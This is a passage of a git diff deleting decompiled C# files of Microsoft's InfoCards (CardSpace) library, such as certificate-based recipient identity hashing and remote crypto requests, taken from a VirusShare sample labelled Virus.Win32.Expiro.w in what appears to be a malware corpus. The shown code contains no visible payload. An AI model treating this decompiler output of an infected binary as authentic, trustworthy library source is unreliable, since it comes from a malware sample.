new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) => new BinaryWriter(stream, Encoding.Unicode).Write(this.m_RPIdentityRequirement); - - public void Deserialize(Stream stream) => this.m_RPIdentityRequirement = new InfoCardBinaryReader(stream, Encoding.Unicode).ReadBoolean(); - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 5; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public bool StrongIdentityRequired - { - get => this.m_RPIdentityRequirement; - set => this.m_RPIdentityRequirement = value; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 5 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RSATokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RSATokenProvider.cs deleted file mode 100644 index 6caa943a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RSATokenProvider.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RSATokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; - -namespace Microsoft.InfoCards -{ - internal class RSATokenProvider : SecurityTokenProvider, IDisposable - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - private SelfIssuedAuthProofToken m_RSAToken; - - public RSATokenProvider(InfoCardPolicy policy, InfoCard card) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - this.m_policy = policy; - this.m_card = card; - } - - public void Dispose() - { - if (this.m_RSAToken == null) - return; - this.m_RSAToken.Dispose(); - this.m_RSAToken = (SelfIssuedAuthProofToken) null; - } - - protected override SecurityToken GetTokenCore(TimeSpan timeout) - { - if (this.m_RSAToken == null) - this.m_RSAToken = new SelfIssuedAuthProofToken(this.m_card.GetPrivateCryptography(this.m_policy.Recipient.GetIdentifier()), DateTime.UtcNow + timeout); - return (SecurityToken) this.m_RSAToken; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Recipient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Recipient.cs deleted file mode 100644 index 1fb0ccfe..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/Recipient.cs +++ /dev/null @@ -1,446 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Recipient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class Recipient - { - private const int InvalidRow = 0; - private const byte Version = 1; - private const byte m_marker = 29; - public const int CERT_NAME_ATTR_TYPE = 3; - public const string szOID_SUBJECT_CN = "2.5.4.3"; - public const string szOID_ORGANIZATION_NAME = "2.5.4.10"; - public const string szOID_LOCALITY_NAME = "2.5.4.7"; - public const string szOID_STATE_OR_PROVINCE_NAME = "2.5.4.8"; - public const string szOID_COUNTRY_NAME = "2.5.4.6"; - private const int attributeMaxLength = 1024; - private static readonly Recipient.RecipientAttribute CNAttr = new Recipient.RecipientAttribute("2.5.4.3", "CN"); - private static readonly Recipient.RecipientAttribute OrgAttr = new Recipient.RecipientAttribute("2.5.4.10", "O"); - private static readonly Recipient.RecipientAttribute LocalityAttr = new Recipient.RecipientAttribute("2.5.4.7", "L"); - private static readonly Recipient.RecipientAttribute StateOrProvinceAttr = new Recipient.RecipientAttribute("2.5.4.8", "S"); - private static readonly Recipient.RecipientAttribute CountryAttr = new Recipient.RecipientAttribute("2.5.4.6", "C"); - private string m_recipientId; - private string m_recipientOrganizationId; - private string m_issuerName; - private string m_subjectName; - private uint m_privacyNoticeVersion; - private Recipient.IdentityType m_type; - private Recipient.TrustDecision m_trustDecision; - private Recipient.RecipientCertParameters m_recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - private bool m_isCertCached; - private int m_rowId; - private byte[] m_publicKey; - private List m_logoMetadata; - - public Recipient(Stream stream) - : this(stream, false) - { - } - - public Recipient(Stream stream, RecipientIdentity identity, bool isCertCached) - : this(stream, isCertCached) - { - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - this.m_recipientParams = recipientIdentity.RecipientParams; - } - - private Recipient(Stream stream, bool isCertCached) - { - this.m_isCertCached = isCertCached; - this.Deserialize(stream); - } - - public Recipient(RecipientIdentity identity, bool isCertCached, uint privacyNoticeVersion) - { - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_recipientId = identity.GetIdentifier(); - this.m_recipientOrganizationId = identity.GetOrganizationIdentifier(); - this.m_subjectName = identity.GetName(); - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.m_issuerName = recipientIdentity.LeafCertificate.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientParams = recipientIdentity.RecipientParams; - this.m_publicKey = recipientIdentity.LeafCertificate.GetPublicKey(); - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - } - - public Recipient( - X509Certificate2 cert, - string recipientId, - string recipientOrgId, - bool isCertCached, - uint privacyNoticeVersion, - Recipient.RecipientCertParameters recipientParameters) - { - this.m_type = Recipient.IdentityType.X509; - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_publicKey = cert.GetPublicKey(); - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_subjectName = cert.FriendlyName; - if (string.IsNullOrEmpty(this.m_subjectName)) - this.m_subjectName = cert.GetNameInfo(X509NameType.SimpleName, false); - this.m_issuerName = cert.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientId = recipientId; - this.m_recipientOrganizationId = recipientOrgId; - this.m_recipientParams = recipientParameters; - this.AddLogoMetadata(cert); - } - - public string RecipientId - { - get - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "Must be populated before this property is accessed"); - return this.m_recipientId; - } - } - - public Recipient.RecipientCertParameters RecipientParameters => this.m_recipientParams; - - public uint PrivacyPolicyVersion - { - get => this.m_privacyNoticeVersion; - set => this.m_privacyNoticeVersion = value; - } - - private static byte[] CertGetRecipientIdBytesForChainTrust( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - Recipient.IdType idtype, - out Recipient.RecipientCertParameters recipientParams) - { - recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - string str1 = ""; - string certAttribute1 = Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle); - string certAttribute2 = Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle); - string certAttribute3 = Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle); - string certAttribute4 = Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle); - recipientParams.m_cn = Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle); - recipientParams.m_organization = certAttribute1; - recipientParams.m_locality = certAttribute2; - recipientParams.m_state = certAttribute3; - recipientParams.m_country = certAttribute4; - if (string.IsNullOrEmpty(certAttribute1)) - { - if (string.IsNullOrEmpty(recipientParams.m_cn)) - return recipientCert.GetPublicKey(); - return Encoding.Unicode.GetBytes(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|", new object[2] - { - (object) Recipient.CNAttr.DelimitingString, - (object) recipientParams.m_cn - })); - } - string str2; - if (Recipient.IdType.OrganizationId == idtype || Recipient.IdType.PPIDSeed == idtype) - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|", (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - else - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|{8}=\"{9}\"|", (object) Recipient.CNAttr.DelimitingString, (object) recipientParams.m_cn, (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - Utility.SubjectAtrributeHAFlags certFlags = Utility.SubjectAtrributeHAFlags.NotEnabled; - string s; - if (Utility.GetCertHAFlags(recipientCert, supportingRecipientCerts, ref certFlags)) - { - recipientParams.m_certHAFlags = certFlags; - int num = Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.LocStateCountryHA) ^ Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.OrganizationHA) ? 1 : 0; - s = str2; - if (string.IsNullOrEmpty(s)) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - else - { - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(recipientCert, supportingRecipientCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("UnableToBuildChainForNonHARecipient"), (Exception) ex)); - } - if (Recipient.IdType.OrganizationId == idtype) - str1 = "|Non-EV"; - if (idtype == Recipient.IdType.RecipientId) - { - for (int index = 1; index < chain.ChainElements.Count; ++index) - str1 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|ChainElement=\"{0}\"{1}", new object[2] - { - (object) chain.ChainElements[index].Certificate.Subject, - (object) str1 - }); - } - s = str1 + str2; - } - return Encoding.Unicode.GetBytes(s); - } - - public static string CertGetRecipientOrganizationPPIDSeedHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.PPIDSeed, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientOrganizationIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.OrganizationId, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted, - out Recipient.RecipientCertParameters recipientParams) - { - byte[] buffer; - if (!isChainTrusted) - { - buffer = recipientCert.GetPublicKey(); - recipientParams = new Recipient.RecipientCertParameters(Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle), Utility.SubjectAtrributeHAFlags.NotEnabled); - } - else - buffer = Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.RecipientId, out recipientParams); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - private static string GetCertAttribute(string geographicAttributeName, IntPtr certHandle) - { - StringBuilder pszNameString = new StringBuilder(1024); - NativeMethods.CertGetNameString(certHandle, 3, 0, geographicAttributeName, pszNameString, 1024); - return pszNameString.ToString(); - } - - public Recipient.TrustDecision Trust - { - set => this.m_trustDecision = value; - get => this.m_trustDecision; - } - - private void ThrowIfNotComplete() - { - bool flag = this.m_recipientId != null && null != this.m_subjectName; - if (Recipient.IdentityType.X509 == this.m_type) - flag = flag && this.m_issuerName != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_publicKey); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - private void AddLogoMetadata(X509Certificate2 cert) - { - X509LogoTypeExtension logoTypeExtension = X509LogoTypeExtension.FromCertificate(cert); - if (logoTypeExtension == null) - return; - logoTypeExtension.TryDecodeExtension(); - this.m_logoMetadata = logoTypeExtension.Logos; - } - - public void Serialize(BinaryWriter writer) => this.AgentSerialize(writer); - - public void AgentSerialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((byte) this.m_type); - writer.Write(this.m_isCertCached); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - if (this.m_logoMetadata == null) - { - writer.Write(0); - } - else - { - writer.Write(this.m_logoMetadata.Count); - foreach (X509Logo x509Logo in this.m_logoMetadata) - x509Logo.Serialize(writer); - } - writer.Write((byte) 29); - } - - public void SerializeToStore(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing recipient stream"); - this.m_recipientParams = new Recipient.RecipientCertParameters(); - this.m_recipientParams.m_certHAFlags = (Utility.SubjectAtrributeHAFlags) reader.ReadUInt32(); - this.m_recipientParams.m_cn = Utility.DeserializeString(reader); - this.m_recipientParams.m_organization = Utility.DeserializeString(reader); - this.m_recipientParams.m_locality = Utility.DeserializeString(reader); - this.m_recipientParams.m_state = Utility.DeserializeString(reader); - this.m_recipientParams.m_country = Utility.DeserializeString(reader); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_recipientOrganizationId = Utility.DeserializeString(reader); - this.m_issuerName = Utility.DeserializeString(reader); - this.m_subjectName = Utility.DeserializeString(reader); - this.m_privacyNoticeVersion = reader.ReadUInt32(); - this.m_publicKey = reader.ReadBytes(reader.ReadInt32()); - this.m_type = this.m_publicKey.Length != 0 ? Recipient.IdentityType.X509 : Recipient.IdentityType.DNS; - this.m_trustDecision = (Recipient.TrustDecision) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserilizing recipient"); - this.ThrowIfNotComplete(); - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.SerializeToStore(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public override string ToString() => base.ToString(); - - public bool IsOrganizationVerified() - { - Utility.SubjectAtrributeHAFlags atrributeHaFlags = Utility.SubjectAtrributeHAFlags.Enabled | Utility.SubjectAtrributeHAFlags.OrganizationHA; - return (this.m_recipientParams.m_certHAFlags & atrributeHaFlags) == atrributeHaFlags; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) => con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - PolicyVersionChange, - } - - public enum IdentityType : byte - { - DNS, - X509, - } - - private enum IdType : byte - { - RecipientId, - OrganizationId, - PPIDSeed, - } - - public struct RecipientCertParameters - { - public string m_cn; - public string m_organization; - public string m_locality; - public string m_state; - public string m_country; - public Utility.SubjectAtrributeHAFlags m_certHAFlags; - - public RecipientCertParameters( - string cn, - string organization, - string locality, - string state, - string country, - Utility.SubjectAtrributeHAFlags certHAFlags) - { - this.m_cn = cn; - this.m_organization = organization; - this.m_locality = locality; - this.m_state = state; - this.m_country = country; - this.m_certHAFlags = certHAFlags; - } - } - - private struct RecipientAttribute - { - private string m_name; - private string m_delimitingString; - - public RecipientAttribute(string name, string delimitingString) - { - this.m_name = name; - this.m_delimitingString = delimitingString; - } - - public string DelimitingString => this.m_delimitingString; - - public string Name => this.m_name; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RecipientIdentity.cs deleted file mode 100644 index 57060bc9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RecipientIdentity.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RecipientIdentity - { - private EndpointAddress m_address; - private string m_identifier = string.Empty; - private string m_organizationIdentifier = string.Empty; - private string m_organizationPPIDIdentifier = string.Empty; - private bool m_hasBeenValidated; - - public static RecipientIdentity CreateIdentity( - EndpointAddress epr, - bool validate) - { - if (epr.Identity is X509CertificateEndpointIdentity) - { - if (((X509CertificateEndpointIdentity) epr.Identity).Certificates == null || ((X509CertificateEndpointIdentity) epr.Identity).Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException()); - RecipientIdentity identity = (RecipientIdentity) new X509RecipientIdentity(epr, ((X509CertificateEndpointIdentity) epr.Identity).Certificates); - if (validate) - identity.Validate(); - return identity; - } - RecipientIdentity identity1 = epr.Identity == null ? new RecipientIdentity(epr) : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("UnsupportedIdentityType"))); - if (validate) - identity1.Validate(); - return identity1; - } - - public RecipientIdentity(EndpointAddress epr) => this.m_address = epr; - - public EndpointAddress Address => this.m_address; - - protected bool HasBeenValidated - { - set => this.m_hasBeenValidated = value; - get => this.m_hasBeenValidated; - } - - protected string Identifier - { - set => this.m_identifier = value; - } - - protected string OrganizationIdentifier - { - set => this.m_organizationIdentifier = value; - } - - protected string OrganizationPPIDIdentifier - { - set => this.m_organizationPPIDIdentifier = value; - } - - public virtual void Validate() - { - if (this.m_hasBeenValidated) - return; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - this.m_identifier = Convert.ToBase64String(shA256.ComputeHash(Encoding.Unicode.GetBytes(this.m_address.Uri.Host))); - this.m_organizationIdentifier = this.m_identifier; - this.m_organizationPPIDIdentifier = this.m_identifier; - } - this.m_hasBeenValidated = true; - } - - public virtual string GetIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_identifier; - } - - public virtual string GetOrganizationIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationIdentifier; - } - - public virtual string GetOrganizationPPIDIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationPPIDIdentifier; - } - - public virtual string GetName() => this.m_address.Uri.Host; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs deleted file mode 100644 index 50e36e04..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteAsymmetricSignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class RemoteAsymmetricSignatureFormatter : AsymmetricSignatureFormatter - { - private RemoteCryptoRsaServiceProvider m_rsa; - private string m_hashOidString; - private int m_nativeHashType; - - public override byte[] CreateSignature(byte[] rgbHash) - { - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_rsa")); - if (string.IsNullOrEmpty(this.m_hashOidString)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_hashOidString")); - if (rgbHash == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentNullException(nameof (rgbHash))); - return this.m_rsa.SignHash(this.m_nativeHashType, rgbHash); - } - - public override void SetHashAlgorithm(string strName) - { - this.m_hashOidString = CryptoConfig.MapNameToOID(strName); - this.m_nativeHashType = NativeMcppMethods.CryptAlgIdFromOid(this.m_hashOidString); - } - - public override void SetKey(AsymmetricAlgorithm key) - { - this.m_rsa = key as RemoteCryptoRsaServiceProvider; - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs deleted file mode 100644 index 4d941009..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoDecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoDecryptRequest : RpcCryptoRequest - { - private byte[] m_buffer; - private int m_index; - private int m_length; - private bool m_final; - private int m_flags; - private int m_hashAlg; - private byte[] m_hash; - - public RemoteCryptoDecryptRequest( - RpcCryptoContext context, - int flags, - bool final, - byte[] buffer, - int index, - int length, - int hashAlg, - byte[] hashValue) - : base(context) - { - this.m_buffer = buffer; - this.m_length = length; - this.m_index = index; - this.m_flags = flags; - this.m_final = final; - this.m_hashAlg = hashAlg; - this.m_hash = hashValue; - } - - public override string Name => "RpcCryptoDecryptRequest"; - - public byte[] GetBuffer() => this.m_buffer; - - public int Length => this.m_length; - - public int Index => this.m_index; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream); - writer.Write(this.m_flags); - writer.Write(this.m_final); - writer.Write(this.m_length); - writer.Write(this.m_buffer, this.m_index, this.m_length); - writer.Write(this.m_hashAlg); - Utility.SerializeBytes(writer, this.m_hash); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_length = binaryReader.ReadInt32(); - binaryReader.Read(this.m_buffer, this.m_index, this.m_length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs 